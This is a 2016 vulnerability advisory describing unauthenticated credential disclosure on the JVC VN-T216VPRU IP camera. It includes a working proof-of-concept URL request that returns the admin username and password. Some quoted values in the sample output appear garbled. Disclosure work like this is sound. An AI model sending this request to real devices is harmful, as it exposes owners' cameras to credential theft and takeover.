JVC IP-Camera VN-T216VPRU Credential Disclosure
Posted on 22 August 2016
1. Advisory Information ======================================== Title : JVC IP-Camera (VN-T216VPRU) Remote Credentials Disclosure Vendor Homepage : http://pro.jvc.com/ Remotely Exploitable : Yes Tested on Camera types : VN-T216VPRU Product References : http://pro.jvc.com/prof/attributes/features.jsp?model_id=MDL102145 Vulnerability : Username / Password Disclosure (Critical/High) Date : 19/08/2016 Author : Yakir Wizman (https://www.linkedin.com/in/yakirwizman) 2. CREDIT ======================================== This vulnerability was identified during penetration test by Yakir Wizman. 3. Description ======================================== JVC IP-Camera (VN-T216VPRU) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser. 4. Proof-of-Concept: ======================================== Simply go to the following url: http://host:port/cgi-bin/readfile.cgi?query=ADMINID Should return some javascript variable which contain the credentials and other configuration vars: var Adm_ID="admin"; var Adm_Pass1=aadmina; var Adm_Pass2=aadmina; var Language=aena; var Logoff_Time="0"; ----------------------------------------------- Login @ http://host:port/cgi-bin/chklogin.cgi 5. SOLUTION ======================================== Contact the vendor for further information regarding the proper mitigation of this vulnerability.
